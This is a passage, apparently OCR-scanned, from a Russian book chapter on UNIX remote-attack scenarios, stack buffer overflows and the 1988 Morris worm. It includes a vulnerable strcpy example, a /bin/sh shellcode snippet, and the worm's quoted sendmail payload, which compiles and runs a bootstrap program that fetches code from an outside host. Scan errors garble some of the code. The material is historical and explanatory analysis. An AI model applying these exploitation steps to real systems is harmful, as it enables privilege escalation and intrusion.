протоколах остается некоторая информация о подключении. Типичным примером атаки по данному
сценарию является атака, которая по протоколу tftp получает файл паролей /etc/passwd, а затем с его
помощью подбираются пароли пользователей. Этот пример показывает, что необязательно желаемые
привилегии будут получены немедленно, такие атаки могут лишь создать предпосылки для возможного их
получения в дальнейшем.

  Хосты, допускающие подобные атаки, также должны считаться катастрофически незащищенными в случае,
если используемый в них сервис нельзя отключить без ущерба функционированию системы. 3. <Маловато
будет: из обычного - в суперпользователи>. Этот сценарий, пожалуй, наиболее прост и широко
распространен. Подавляющее большинство сообщений о так называемых <дырах> в UNIX относится именно
к нему. Для его осуществления злоумышленник должен уже быть обычным пользователем (иногда говорят,
что он имеет бюджет, или account) на том компьютере, который он собирается взламывать. Это, с одной
стороны, серьезное ограничение на масштабность проникновения, с другой стороны - большинство утечек
информации происходит через <своих>, через подкупленного сотрудника, который пусть и не имеет больших
полномочий, но уж входное имя на секретный компьютер у него есть.

  Своей осуществимостью атаки данного рода обязаны очередному недостатку безопасности UNIX, который
называется механизмом SUID/ SGID-процессов. Нс будем сейчас подробно останавливаться на необходи-
мости и причинах появления такого механизма в этой операционной системе, отметим лишь, что многим
системным программам (которые могут быть запущены любым, в том числе и непривилегированным
пользователем) для правильного функционирования необходимы дополнительные полномочия. Приведем
хрестоматийный пример изменения пользователем пароля самому себе. Не вызывает сомнения, что
пользователь может иметь право на подобную операцию, однако в терминах UNIX это равносильно наличию
права на запись в общий для всех пользователей файл /etc/ passwd, что, очевидно, недопустимо. Поэтому
программа, осуществляющая смену пароля пользователя, выполняется не от имени запустившего его
пользователя, а от имени суперпользователя (который, естественно, имеет право на запись в файл
/etc/passwd). Для этого она обладает специальным атрибутом SUID/SGID, означающим смену
.идентификатора пользовате- ля и/или группы у запущенного процесса.

  Такая особенность UNIX, нарушающая, безусловно, исходную модель разграничения доступа,
считалась бы <нехорошей>, будь она всего у одной программы passwd. Однако оказывается, что этот
атрибут необходим цело- му множеству программ, порой очень сложных. Отсюда ясно, что злоумыш-
ленник, найдя ошибку в одной из программ, обладающих атрибутом SUID
root, может от ее (то есть супериользователя) имени произвести некоторые действия. Стандартным приемом
считается копирование файла с командным интерпретатором (sh или csh) и установка на него атрибута SUID
root. Таким образом, злоумышленник имеет под рукой стандартную программу sh, но все команды в ней он
исполняет от имени суперпользователя.

  Ошибки в SUID/SGID-программах находятся регулярно, с частотой несколько раз в месяц. Следуя' одной
из основных аксиом программирования, можно сделать вывод, что эти ошибки будут находиться всегда.

  Соответственно, многие защищенные версии UNIX стремятся обезопасить себя от атак такого рода, сильно
модифицировав SUID/SGID-механизм или вообще отказавшись от него.

  Внимательный читатель заметил, что данный сценарий, вообще говоря, не является удаленной атакой по
определению (и не будет подробно рассматриваться в примерах), но введен в классификацию из-за
масштабности и фундаментальности - механизма SUID/SGID-процессов. Надо также помнить о том, что
локальная атака легко становится удаленной, если злоумышленник подключается к компьютеру по
протоколу TELNET - в этом смысле UNIX вообще не делает отличия локального пользователя от уда-
ленного.

  Поскольку любая система UNIX (использующая этот механизм) является уязвимой, то хосты, которые
подвержены атакам такого класса, будем называть потенциально незащищенными.

  4. <Он слишком многим доверял>. Взлом производит обычно псевдопользователь, либо повышая свои
полномочия до обычного, либо получая несанкционированный доступ к информации с использованием
механизма доверия. Термин <доверие> (одна из важнейших брешей в безопасности UNIX) появился с
тех пор, когда компьютерные системы строились на доверии друг другу. <Доверие> употребляется
всякий раз, когда возникает ситуация, в которой хост может позволить пользователю (как правило,
удаленному) применять локальные ресурсы без аутентификации или с явно недостаточной
аутентификацией (без ввода пароля).

  В UNIX существует много подсистем, использующих доверие. Наиболее простыми и часто применяемыми
(даже против такого мастера, как Шимомура) из них являются так называемые г-службы (remote - удален-
ные). При наличии файлов .rhosts и hosts.equiv, содержащих имена хостов, доступ с них возможен без
указания пароля. Аналогичным образом на механизме доверия построены, например, NFS-серверы, в
управляющих (export) файлах которых можно разрешить доступ к некоему каталогу для
группы пользователей, при этом удаленный пользователь никак не должен подтверждать свою причастность
к данной группе. Как подчеркивал В. Ве-нема в своей статье [22], <любая форма доверия может быть
подменена, обманута или разрушена, особенно когда служба, получающая запросы на проверку клиента,
расположена вне сервера или когда механизм доверия основан на слабой форме аутентификации>.

  Часто доступ к системе по данному сценарию возможен только при неправильных настройках
соответствующих файлов (не будем сейчас подчеркивать, что эти настройки также могут быть внесены
злоумышленником сознательно - см. атаку Митника), поэтому хосты, подверженные атакам такого класса,
можно называть <слишком доверчивыми> или административно незащищенными.

  Итак, подводя итог, повторим те механизмы и особенности UNIX, которые делают возможными
удаленные атаки на эту ОС. Это, в первую очередь, наличие демонов, обеспечивающих обработку
удаленных запросов. Чаще всего они запускаются от имени суперпользователя, и при неправильном
функционировании его права могут быть получены удаленным пользователем. Во-вторых, это широкое
использование механизма доверия, который может быть обманут удаленным пользователем. И, в-третьих,
механизм SUID/SGID-процессов легко позволяет обычному пользователю получить привилегии другого
пользователя или группы.

  Наиболее интересные или известные способы проникновения в UNIX-системы мы опишем далее в
хронологическом порядке.

  Начало, или До червя
Вначале были хаос и анархия. Internet только зарождался, мировых глобальных сетей еще не было, базовые
протоколы TCP/IP только появлялись и стандартизировались; в самом начале развития существовали все
UNIX-службы: программы еще были сырыми и неотлажепными. Причем развитие происходило стихийно,
независимо в разных местах, на разных версиях UNIX, после чего наиболее удачные начинания
распространялись, сталкивались со своими конкурентами, переделывались и т. д. Весь этот процесс
стандартизации сопровождался неизбежными компромиссами, особенно в системе безопасности, так как
основными принципами UNIX всегда являлись простота, гибкость и переносимость, а они часто противо-
речат безопасности.

  Нынешние кракеры, наверное, кусают себе локти, что родились не 10 лет назад,- ведь тогда хакером мог
прослыть тот, кто умел методично переби- рать адреса компьютеров и вводить в качестве имени и пароля
что-нибудь
типа guest/guest [10]. Видимо, большинство хостов (в том числе и военных - в те времена возможность
проникновения в секретные хосты еще не являлась мифом) вскрывались именно так. Были известны
стандартные входные имена, присутствующие в операционной системе при ее установке на компьютер (см.

  табл. 9.1). Особо продвинутые кракеры, скорее всего, догадывались вводить в качестве паролей наиболее
распространенные имена, жаргонные словечки и т. п.

  Интересно заметить, что большинство средств защиты многих современных ОС успешно борется именно
с таким примитивным классом атак, называя его intruder detection (обнаружение нарушителей). В ОС после
набора неправильного пароля обычно приняты задержка в несколько секунд, а также ограничение
максимального числа неправильно набранных паролей подряд. Эти меры не позволяют взломщику
удаленно перебирать пароли. (Естественно, что сегодня, если хакер и будет заниматься перебором, то не в
реальном времени.) Но, видимо, в те далекие годы не было даже таких мер.


                                          

Технология переполнения буфера
Примерно в это же время хакерами был придуман способ передачи управления чужеродному коду, не
только ставший классическим, но и по сей день являющийся основным методом эксплуатации многих
уязвимостей как удаленно, так и локально. Он с успехом применялся и применяется в большинстве
операционных систем. Первое нашумевшее его применение
было в вирусе Морриса (см. раздел <Червь>), хотя наверняка и до этого способ открывался и переоткрывался
(а может быть, и использовался) несколько раз.

  Итак, одной из основных проблем, стоящей перед кракером, является необходимость исполнения
написанного им (то есть вредного) кода на машине, которую он атакует. Иначе говоря, он должен указать
компьютеру, с какого адреса размещается этот код, то есть занести в указатель команд (обычно он
называется instruction pointer - IP) нужный ему адрес. Это, безусловно, может быть сделано штатными
средствами операционной системы - путем запуска соответствующей программы. Но тут у кракера возникает
две проблемы:

  1. У него может не быть доступа на атакуемый компьютер, то есть возможности исполнения программ.

  2. Даже если доступ (login) у него есть, то привилегий, данных ему, может оказаться недостаточно для
выполнения некоторых функций того вредного кода, который он написал. Обычная цель кракера-
получить полный контроль над машиной, что ему, естественно, просто так никто не даст.

  Для решения этих проблем приходит в голову следующее: передать некоторому привилегированному
процессу такие данные, которые интерпретировались бы им как код. При этом отсутствие доступа на
компьютер решается передачей удаленных данных через демоны (сценарий 1 - любой пользователь Internet
имеет такую возможность). Для выбора локальных привилегированных процессов (то есть при наличии
доступа) также хорошо подходят демоны, если они запущены от имени суперпользователя или SUID root-
программы (сценарий 3).

  Итак, задача кракера уточнилась: ему необходима привилегированная программа, которая получает какие-
то входные данные от непривилегированных пользователей. И дело за малым - осталось заставить программу
исполнить эти данные как код. Как следует из названия раздела, такой прием получил название buffer
overflow (в переводе <переполнение буфера>, хотя более точно сказать <переполнение буфера в стеке>).

  Рассмотрим его. Весьма часто в процедурах программист отводит для своих нужд некоторый локальный
буфер, имеющий фиксированный размер. Этот размер обычно устанавливается исходя из здравого (или не
очень здравого) смысла. Например, если читается строка с экрана, то программист может ограничить размер
буфера 80 символами, имя файла на NTFS не должно содержать более 255 символов - именно такой буфер
может быть отведен в этом случае и т. п.

  Мы предположим, что программа получает некоторые данные извне. Пусть буфер необходим
программисту для обработки этих данных. Тогда мы получим примерно следующий фрагмент кода:

  process_data (char *data)

                                        {

char buf[FIXED];
strcpy (buf, data);
необходимая обработка данных в буфере>
return:


                                         }

Подробно на причинах появления такого кода мы остановились, чтобы показать, что он является весьма
типичным и распространенным (пусть и не очень хорошим с точки зрения стиля) для любых приложений, а
вовсе не надуманным примером. Именно поэтому ошибки переполнения буфера так часто и проявляются.

  Дальнейшее уже почти ясно. Локальные переменные (к которым относится и наш буфер) обычно
располагаются компилятором в стеке, куда чуть раньше им же помещается адрес возврата в процедуру, из
которой была вызвана process_data(). При часто используемой реализации стека, когда он <растет> вниз,
оказывается, что адрес возврата в процедуру находится <дальше> (то есть имеет в стеке больший адрес), чем
локальный буфер.

  Возьмем, например, программу-дрозофилу:

  main(int argc, char *argv[] )

                                        {

process_data(argv[1]):


                                         }

#define FIXED 16 process_data (char *data)

                                        {

char buf[FIXED],
strcpy (buf, data):

  return:


                                         }

Для нее стек после вызова process_data() будет выглядеть примерно так, как это показано на рис. 9.1.


                                          

Рис. 9. 1. Состояние стека после вызова уязвимой функции
Теперь уже не надо быть суперхакером, чтобы заметить, что адрес возврата находится не только в одном
сегменте с локальными переменными, но и имеет больший адрес. Тогда, передав в качестве данных строку,
имеющую заведомо больший размер, чем у отведенного под ее обработку буфера, мы сможем затереть все,
что лежит в памяти выше, чем этот буфер, так как функция strcpyO будет копировать данные до тех пор,
пока не встретит нуль-символ '\0'. В нашем примере достаточно передать как входной параметр строку
длиной более 15 байт для выхода за границу буфера плюс еще несколько байт для изменения собственно
адреса возврата.

  Не случайно в приведенных выше рассуждениях ни разу не встретилось упоминания о конкретной
операционной системе. Действительно, технология переполнения локального буфера весьма универсальна и
будет работать практически в любой ОС (об ограничениях чуть ниже), поэтому читатель может
скомпилировать программу-дрозофилу в его любимой ОС и посмотреть на результат, подав на вход, скажем,
строку из 30 единиц (этого должно быть достаточно для любой ОС и любого компилятора). UNIX-системы
при этом выведут что-то типа . Информация от Windows NT (рис. 9,2) для
хакера более наглядна - по ней сразу понятно, что произошло именно переполнение буфера с возможностью
подмены адреса возврата, так как адрес, на котором <споткнулась> программа,

                                         

был не чем иным, как 0х31313131. Это соответствует шестнадцатеричному коду для строки из четырех
единиц. Если ввести строку, состоящую из неодинаковых символов, например
01234567890abcdefghijklmnopqst, то по выведенному адресу станет ясно, в каком месте строки должен стоять
будущий адрес возврата.

  Итак, цель - передача управления - хакером достигнута. Теперь дело за малым. Нужно выполнить
следующие шаги:

  1. Найти подходящую программу, которая не только содержит процедуру, похожую на process_data(), но и
выполняется с большими привилегиями. Если хакеру доступны исходные тексты, то особое внимание
надо обратить на программы, содержащие функции strcat(), strcpy(), sprintf(), vsprintf(), gets(), scanf() и т. п.

  Если исходных текстов нет, то остается ручной (или автоматизированный) поиск уязвимых программ, то
есть подача на вход длинных строк и оценка результатов.

  2. Определить для найденной программы, какой размер буфера надо использовать, где в буфере должен
располагаться адрес возврата и т. п.

  3. Написать код, на который осуществится переход. Для ОС UNIX стандартный вариант - вызов оболочки
следующим образом:

  char *name[2]:

  name[0] = "/bin/sh":

  name[1] = NULL,
execve(name[0],
name, NULL):

  Для Windows NT это сделать сложнее.

  4. Каким-то образом внедрить свой код в систему (хороший вариант -расположить его все в той же
строчке). При этом злоумышленнику надо проверить, чтобы вызываемая функция при обработке этой
строки не испортила данный код. Другая проблема - если process_data() использует strcpy() или любые
другие стандартные функции работы
со строками, то код должен быть написан так, чтобы он не содержал нулей, потому что в противном
случае его копирование остановится на первом нуле. Заметьте, что код вызова оболочки уже содержит,
по крайней мере, три нуля: один в конце "/bin/sh" и два NULL. Возможен вариант, когда не обойтись без
нулей (например, сам адрес возврата должен их содержать), тогда можно, например, зашифровать код
так, чтобы нули исчезли, а затем в начале кода использовать его расшифровщик.

  В 1990 и 1995 годах Кристофером Клаусом (Christopher Klaus) [26] было протестировано около 80
программ на 9 различных платформах. Специальная программа подавала на вход строки длиной до 100 000
символов. В результате 25-33% программ в 1990 году и 18-23°о в 1995 году работали некорректно - зависали,
сбрасывали аварийный дамп и т. п. Интересно, что в коммерческих версиях UNIX этот процент доходил до
43, тогда как в свободно распространяемых он был меньше 10. Впрочем, справедливости ради надо отметить,
что только две программы-демона вели себя таким образом в 1990 году, а через 5 лет эти ошибки были
исправлены.

  На практике, когда мы занимались анализом безопасности одного из шифраторов IP-трафика,
построенного на базе ОС FreeBSD 2.2, нам потребовалось совсем немного времени, чтобы найти типичную
ошибку переполнения буфера в SUID root-программе suidperi. Получить полномочия суперпользователя
удалось передачей в качестве параметра строки из 1 197 байт, содержащей стандартный код вызова
оболочки.

  Также важно отметить, что технология переполнения буфера, являясь самой распространенной и
эффективной для удаленного исполнения кода, то есть для реализации опасных угроз раскрытия и
целостности, но требующая значительных усилий по формированию соответствующей строки, может
применяться очень эффективно и для атак <отказ в обслуживании>. Здесь нет необходимости специально
подбирать буфер с правильным адресом возврата, а подойдет любой, и возврат совершится на некий
случайный адрес, вызвав тем самым аварийный останов программы или всей ОС в целом. Для реализации
таких атак необходимо подобрать только длину буфера, но вполне естественно, что хорошими кандидатами
будут строки длиной на 10-20 байт больше, чем 80, 100, 128, 256, 512, 1 000, 1 024, 2 048.


          - -------------------------------------------------------------

! Для гарантированного отказа в обслуживании недостаточно подать на вход очень длинную строку, тем
самым переполнив любой из потенциальных буферов. Дело в том, что начиная с некоторой длины такие
строки могут не вызывать необходимого переполнения буфера, ' а приводить к другим ошибкам и
иногда вообще никак не проявляться в работе программы. Иначе говоря, хакер, готовя переполнение
буфера, ограничен максимальным размером кода, который он сможет выполнить. Тем не менее
разумно подбирать длину буфера, начиная с больших величин.


          - -------------------------------------------------------------

Осталось подытожить, какие операционные системы могут подвергаться технологии переполнения
буфера. Явно или неявно, но мы предполагали, что:

  
 параметры функций передаются через стек;

 адрес возврата также помещается в стек; ' локальные переменные располагаются в стеке;

 стек <растет> вниз;

 данные в стеке могут интерпретироваться как команды;

 должны существовать процессы или программы, имеющие уязвимый
код, подобный функции process_data();
' некоторые процессы или функции должны иметь высокие привилегии. Очевидно, что этим условиям
удовлетворяет большинство ОС, в том числе UNIX и Windows NT.

  И напоследок - переполнение буфера в стеке является тривиально используемой уязвимостью. Однако,
если пытаться избавиться от таких уязвимостей простым переписыванием строк кода типа
char buf[FIXED]; на
static char buf[FIXED], или
buf= (char *)malloc (FIXED);
(то есть убирая буферы из стека, чтобы невозможно было перезаписать адрес возврата), это не приведет к
желаемым результатам, так как буферы, находящиеся в динамических или статических областях памяти,
будут подвержены переполнению. А рядом с ними вполне могут находиться указатели на функции, данные
структур для функций long)'mp(), перезаписы-вание которых также приводит к исполнению функций
злоумышленника. Более того, часто в подобных случаях можно обойтись без необходимости передачи
управления: достаточно изменить имена файлов, идентификаторы (UID, GID, pid), пароли и т. п" лежащие в
тех же областях памяти по соседству, чтобы задача хакера была выполнена.

  Червь
В этом разделе мы перейдем к подробному рассмотрению не только самого известного случая нарушения
безопасности Сети, но и самого крупного инцидента в области компьютерной безопасности вообще - Internet
worm (вирус Морриса). Более того, он представлял собой не просто единичное вторжение в некоторый
компьютер, а дал ответ на давний вопрос: могут ли не в абстрактных условиях существовать
саморепродуцирующиеся программы? То, что теоретически это возможно, признавалось почти всеми, А
подтвердив возможность создания такой программы, инцидент дал толчок к появлению целой отрасли
компьютерной безопасности - компьютерной вирусологии (к тому времени уже существовали единичные
вирусы и на персональных компьютерах - саморепродуцирующиеся в пределах одного компьютера).

  Остается открытым (как мы увидим далее, исходя из существования схожих проблем безопасности UNIX
и в наши дни) вопрос, почему же по сей день известен только один пример сетевого червя. Видимо, дело в
том, что в странах с развитой компьютерной и сетевой инфраструктурой на сегодняшний день действует (во
многом, кстати, вследствие вируса Морриса) очень жесткое законодательство против компьютерных
преступлений такого рода (тем более, что написание червя не приносит никакой материальной выгоды,
только сомнительную известность), а в странах, где подобные законы отсутствуют, нет и доступа широких
кракерских масс к глобальным компьютерным сетям. Отсюда можно сделать вывод, что в ближайшем бу-
дущем, когда распространенность сетей достигнет необходимого уровня, нас ждут примеры новых сетевых
червей, сделанных хакерами этих стран, и Россия здесь может занять не последнее место.

  К 1988 году глобальная сеть Internet уже почти сформировалась, и практически все услуги сегодняшнего
дня (кроме WWW) использовались и тогда. С другой стороны, в хакерских и околохакерских кругах ско-
пилось достаточно информации о брешах в системах безопасности и способах несанкционированного
проникновения в удаленные компьютеры. Критическая масса была накоплена, и она не могла нс взорваться.

  Итак, в начале ноября 1988 года Сеть быда атакована так называемым сетевым червем, впоследствии
получившим название <вирус Морриса> -по имени его создателя, студента Корнельского университета
Роберта Морриса-младшего. Сетевым червем называют разновидность компьютерных вирусов, имеющих
способность к самораспространению в локальной или глобальной компьютерной сети. Для этого червь
должен обладать специфическими функциями:

  
 находить новые цели для атаки;

 проникать в них;

 передавать свой код на удаленную машину;

 запускать ее (получать управление);

 проверять на зараженность локальную или удаленную машину для
предотвращения повторного заражения. В сетевом компьютерном мире имя Роберта Морриса было
известно давно. Еще в 1985 году компания AT&T Bell Labs опубликовала технический отчет, посвященный
предсказанию TCP-идентификатора в версии 4,2 BSD UNIX [30]. Этот отчет был написан... Робертом
Моррисом-старшим - отцом автора червя. Моррис-старший в то время занимал должность научного
руководителя NCSC (National Computer Security Center - Национальный центр компьютерной безопасности) -
эксперта по компьютерной безопасности. Моррис-старший много лет проработал в лаборатории AT&T Bell,
где в 60-х годах принимал участие в разработке программ Core Wars. К этому необходимо добавить, что лето
1988 года Моррис-младший провел в той же лаборатории, где был занят переписыванием программ системы
безопасности для компьютеров, работающих под управлением ОС UNIX. Кстати, инцидент с программой-
червем практически никак не сказался на карьере Морриса-старшего. В начале 1989 года он был избран в
специальный консультативный совет при Национальном институте стандартов и министерстве торговли. В
задачу этого совета входила выработка заключений и рекомендаций по вопросам безопасности
вычислительных систем правительственных органов США, а также решение вопросов, возникающих при
разработке и внедрении стандартов защиты информации.

  Червь Морриса инфицировал 6 200 компьютеров. Подсчитанные потери, хотя формально червь не наносил
какого-либо ущерба данным в инфицированных хостах, были разделены на прямые и косвенные. К прямым
потерям относились:

  
 остановка, тестирование и перезагрузка 42 700 машин;

 идентификация червя, удаление, чистка памяти и восстановление работоспособности 6 200 машин;

 анализ кода червя, дизассемблированис и документирование;

 исправление UNIX-систем и тестирование. Прямые потери были оценены более чем в 32 000 000
долларов США. К косвенным потерям были отнесены: .

  
 потери машинного времени в результате отсутствия доступа к сети;

 потери доступа пользователей к сети.

  Косвенные потери оценивались более чем в 66 000 000 долларов США. Общие затраты составили 98 253
260 долларов США.

  Далее мы подробно опишем структуру, механизмы и алгоритмы, применяемые червем. Было решено
свободно распространять их, в отличие от исходных текстов, полученных в результате дизассемблирования.

  Однако по истечении 10 лет такое ограничение потеряло свою актуальность (воспользоваться сегодня ими
все равно не удастся), и необходимую информацию можно найти в Internet. Большая часть материала этого
раздела взята из [21,32].

  Стратегии вируса
Для проникновения в компьютеры вирус использовал как алгоритмы подбора пароля (см. ниже), так и
<дыры> в различных коммуникационных программах, которые позволяли ему получать доступ без
предъявления пароля. Рассмотрим подробнее такие <дыры>.

  Отладочный режим в программе sendmail
Вирус использовал функцию  программы sendmail, которая устанавливала отладочный режим для
текущего сеанса связи. Дополнительная возможность отладочного режима заключается в том, чтобы
посылать сообщения, снабженные программой-получателем, которая запускается на удаленной машине и
осуществляет прием сообщения. Эта возможность, не предусмотренная протоколом SMTP, использовалась
разработчиками для отладки программы и в рабочей версии была оставлена по ошибке. Таким образом,
налицо типичный пример атаки по сценарию 1.

  Спецификация программы, которая будет выполняться при получении почты, содержится в файле
псевдонимов (aliases) программы sendmail или в пользовательском файле .forward. Такая спецификация
используется программами, обрабатывающими или сортирующими почту, и не должна применяться самой
программой sendmail. В вирусе эта программа-получатель содержала команды, убирающие заголовки почты,
после чего посылала остаток сообщения командному интерпретатору, который создавал, компилировал и
выполнял программу на языке С, служившую <абордажным крюком>, и та, в свою очередь, принимала
оставшиеся модули из атакующей машины. Вот, что передавал вирус через SMTP-соединение:

  debug
mail from: 
rcptto:<"lsed-e'1,/"$/d' l/bin/sh;exit0">
. data
cd /usr/tmp
cat >x14481910.с <'EOF'
<текст программы 11.c>

                                       EOF

cc -о х14481910 х14481910.с;х14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
quit
Вирус заражал компьютеры двух типов - VAX и Sun, поэтому пересылались двоичные коды для каждой
архитектуры, оба запускались, но исполняться мог только один. В компьютерах других архитектур
программы не могли функционировать, хотя и поглощали системные ресурсы в момент компиляции.

  Ошибка в демоне fingerd
Другой позволявший вирусу распространяться изъян, также относящийся к типовому сценарию 1, находился
в программе fingerd. Данная программа содержала в себе фрагмент кода примерно следующего вида:

  { char buf[512]:

  gets(buf);

                                        }

Налицо классическая ситуация переполнения буфера (впрочем, тогда она, видимо, еще не была
классикой). Вирус передавал специально подготовленную строку из 536 байт, которая вызывала в конечном
итоге функцию execve("/bin/sh", 0, 0). Как видно, за 10 лет технологии переполнения буфера не сильно
изменились.

  Указанным способом атаковались только машины VAX с операционной системой 4.3BSD; на
компьютерах Sun, использующих SunOS, такие атаки терпели неудачу.

  Удаленное выполнение
Вирус использовал протокол удаленного выполнения программ (rexec), который требовал для выполнения
программы на удаленной машине только имя пользователя и незашифрованный пароль. Для этого в
программе имелись имена и пароли пользователей локального (атакующего) хоста, потому что многие
пользователи имеют одинаковые имена и пароли на всех машинах в сети. Эта атака, как и следующая,
относится уже к сценарию 4.

  Удаленный командный интерпретатор и доверенные хосты
Вирус пытался использовать программу запуска удаленного интерпретатора (rsh) для атаки других машин с
полученным именем и паролем текущего пользователя либо вообще без аутентификации, если атакуемая
машина <доверяла> данной. (Файлы /etc/hosts.equiv и .rhosts содержат список машин, <доверяющих> данной,
то есть доступных для запуска rsh с этой машины.) Он пробовал три различных имени для rsh:

  
 /usr/ucb/rsh; ' /usr/bm/rsh;

 /bin/rsh.

  Удаленный интерпретатор по своей функции напоминает программу удаленного исполнения, но обладает
более дружественным интерфейсом, так как дистанционно запускается командный интерпретатор, а не функ-
ция ехес.

  Маскировка действий вируса Для сокрытия своих действий вирус осуществлял ряд мер:

  1. Стирался список аргументов по окончании их обработки, поэтому команда ps не могла показать, каким
образом были вызваны вирусные программы.

  2. Исполняемые файлы вируса после своего запуска немедленно уничтожались, и нельзя было понять,
откуда появился процесс. Если зараженная машина перезагружалась во время исполнения вируса, то
специальная программа автоматически восстанавливала файл после перезагрузки.

  3. Размер аварийного дампа устанавливался равным нулю. Если программа аварийно завершалась, то она
не оставляла после себя никаких следов. Также отключались сообщения об ошибках.

  4. Вирус был скомпилирован под именем sh, такое же имя использовалось командным интерпретатором
Bourne Shell, часто применяемым в командных файлах. Даже старательный администратор системы не
замечал увеличения числа интерпретаторов, функционирующих в системе, или не придавал этому
значения.

  5. Вирус размножался, разветвляясь на два процесса (родитель и потомок), примерно каждые три минуты.

  Процесс-родитель после этого завершался, а процесс-потомок продолжал работать. Происходил эффект
<обновления>, так как для нового процесса учет используемых ресурсов начинался с пуля. Кроме того,
эта мера затрудняла обнаружение вируса.

  6. Все текстовые строки, используемые вирусом, были закодированы с помощью операции
<Исключающее ИЛИ> - XOR 81Н. Этот слабый метод позволил скрыть важные текстовые строки,
например имена открываемых вирусом файлов.

  Ошибки в коде вируса
Вирус содержал некоторое количество ошибок - от очень тонких и почти не влияющих на его работу, до
грубых и неуклюжих. Остановимся на них подробнее.

  Предотвращение повторного заражения
Участок кода для предотвращения повторного заражения содержал много ошибок. Это имело решающее
значение: многие машины заражались повторно, нагрузка на системы и сеть увеличивалась и становилась
весьма ощутимой (некоторые машины даже не могли с ней справиться).

  Вирус, <проверяющий> наличие других вирусов, пытался связаться с портом 23357, чтобы установить
контакт с <отвечающим> вирусом. Если это не удавалось, вирус предполагал, что других вирусов нет, и сам
становился <отвечающим>. Если связь устанавливалась, <проверяющий> посылал магическое число 8 865
431 ив течение 300 секунд ожидал другое магическое число 1 345 688. Если число было неверным,
<проверяющий> разрывал связь. Потом он выбирал случайное число и посылал <отвечающему>. Затем в
течение 10 секунд ожидал возврата другого случайного числа, после чего складывал его с посланным. Если
сумма оказывалась четным числом, то <проверяющий> устанавливал значение переменной pleasequit (см.

  ниже). Иначе говоря, каждый раз из двух вирусов один <смертник> выбирался случайно.

  После окончания (успешного или неудачного) сеанса связи <проверяющий> <засыпал> на 5 секунд и
пытался стать <отвечающим>. Для этого он создавал ТСР-сокет, устанавливал его параметры для
межпроцессной связи и подключал его к порту 23357.

  Этот код содержал множество ошибок, и приходится только удивляться, что on вообще работал. Ошибки
проявлялись при следующих условиях:

  1. Если несколько вирусов заражали чистую машину одновременно, то они также одновременно пытались
найти остальных в режиме <проверяющих>. Так как никто не мог их найти, они постепенно переклю-
чались в режим ожидания сообщения, и один из вирусов получал его, а остальные прекращали попытки
связаться друг с другом и не отвечали на запросы.

  2. Если несколько вирусов одновременно стартовали в присутствии другого уже работающего вируса, то
только одному из них удавалось связаться с активным вирусом, остальные не могли этого сделать. За-
метим, что здесь выражение <одновременно> подразумевает 5-20-се-кундный промежуток.

  3. Если машина работала медленно или была сильно загружена, то это могло привести к израсходованию
вирусом лимита времени, отпущенного на установление связи с другими вирусами, что приводило к пре-
кращению обмена.

  Критичная ошибка содержалась в коде, когда вирус решал, что должен завершиться. Все, что он делал, -
устанавливал переменную pleasequit. Это не давало эффекта до тех пор, пока вирус:

  
 не собрал список имен машин для их атаки;

 не собрал список имен пользователей;

 не осуществил перебор всех <очевидных> паролей по стратегии 1 (она описана ниже) и не попробовал 10
случайно взятых паролей из своего словаря.

  Так как вирус удалял все временные файлы, то его присутствие в машине не мешало ее повторному
заражению.

  Многократно зараженные машины распространяли вирус быстрее, вероятно, пропорционально числу
копий вируса на машине, чему есть две причины:

  1. Вирус перемешивал списки имен машин и пользователей, которые собирался атаковать, используя
генератор случайных чисел, зависящий от системного времени. Разные копии получали 'разные случайные
числа и атаковали разные объекты.

  2. Вирус расходовал много времени, ожидая сообщений от других вирусов, поэтому вирусы не
конфликтовали между собой, запрашивая системные ресурсы.

  Таким образом, вирус распространялся гораздо быстрее, чем ожидал автор, и был обнаружен именно по
этой причине.

  Использование эвристического подхода для определения целей
Чтобы не тратить время, пытаясь заразить систему, отличную от UNIX, вирус иногда устанавливал связь с
предполагаемой мишенью при помощи telnet или rsh; если это не удавалось, то вирус и не пытался ее
заразить. Благодаря этому некоторые системы избежали заражения, так как, хотя и поддерживали
электронную почту, отказывали в доступе telnet или rsh.

  Неиспользованные возможности вируса Вирус не использовал некоторые очевидные
возможности: 1. При поиске списка мишеней атаки он не задействовал службу DNS, чтобы найти имена
машин, подключенных к сети. Эта информация обычно включает также тип машины и ОС, что ограничивает
список целей.

  2. Он не атаковал последовательно оба типа машин. Если VAX-атака терпела неудачу, он мог бы
предпринять Sun-атаку, но не делал этого.

  3. Он не пытался найти привилегированных пользователей на локальной машине.

  Подробный анализ структуры и процедур вируса
Далее вирус описывается' очень подробно, процедура за процедурой (рис. 9.3).

  Имена
Ядро вируса состоит из двух бинарных модулей: один для машин VAX-архитектуры, другой для Sun-
архитектуры. Это объектные файлы, содержащие списки имен своих внутренних процедур.


                                          

Удивительно, что имена осмысленны (например, doit или cracksome), ведь такой простой метод, как
случайный выбор имен процедур, мог бы сильно усложнить анализ вируса.

  Обработка аргументов командной строки
Вирус мог запускаться с аргументом <-р NNN>, где NNN - десятичное число, которое является
идентификатором породившего процесса. Впоследствии вирус использовал это число для удаления данного
процесса с целью <заметания следов>.

  Остальные аргументы командной строки являлись именами файлов, которые он пытался загрузить. Если
не удавалось загрузить хотя бы один из них, вирус заканчивал работу. Если был задан аргумент <-р NNN>, то
он также стирал файлы и потом пытался уничтожить свой образ на диске.

  Затем вирус предпринимал следующие действия (причем, если какие-то из них терпели неудачу, он
завершался):

  1. Проверял, был ли задан хотя бы один файл в командной строке.

  2. Проверял, был ли успешно загружен файл II.с. Если был задан параметр <-р>, программа закрывала все
файлы, открытые породившим процессом.

  Потом, для маскировки способа запуска вируса, стирался массив аргументов.

  Вирус сканировал все сетевые интерфейсы, получал статус и адреса каждого интерфейса.

  Вирус уничтожал процесс, заданный параметром <-р NNN>, и перед этим менял группу (GID) текущего
процесса, чтобы не погибнуть вместе с ним.

  Далее, если все эти действия заканчивались удачно, он выполнял процедуру doit, которая совершала
остальную работу.

  Процедура doit
Процедура doit состоит из двух частей - инициализации и основного цикла.

  В первой части инициализируется генератор случайных чисел; кроме того, вирус сохраняет время для
последующего определения продолжительности работы в системе.

  Затем вызывается процедура hg. Если она оканчивается неудачно, вызывается процедура ha.

  После этого с вероятностью шесть седьмых проверяется, существует ли на данной машине другая
работающая копия вируса, если да, то одна из них <погибает>. Иначе говоря, только в одном случае из семи
должно было бы происходить размножение вируса.

  На последнем этапе процедура инициализации должна была по замыслу автора посылать байт по адресу
128.32.137.13, соответствующему ernie.berkeley.edu. в порт 11357. Этого не произошло ни разу, так как автор
неправильно использовал вызов функции.

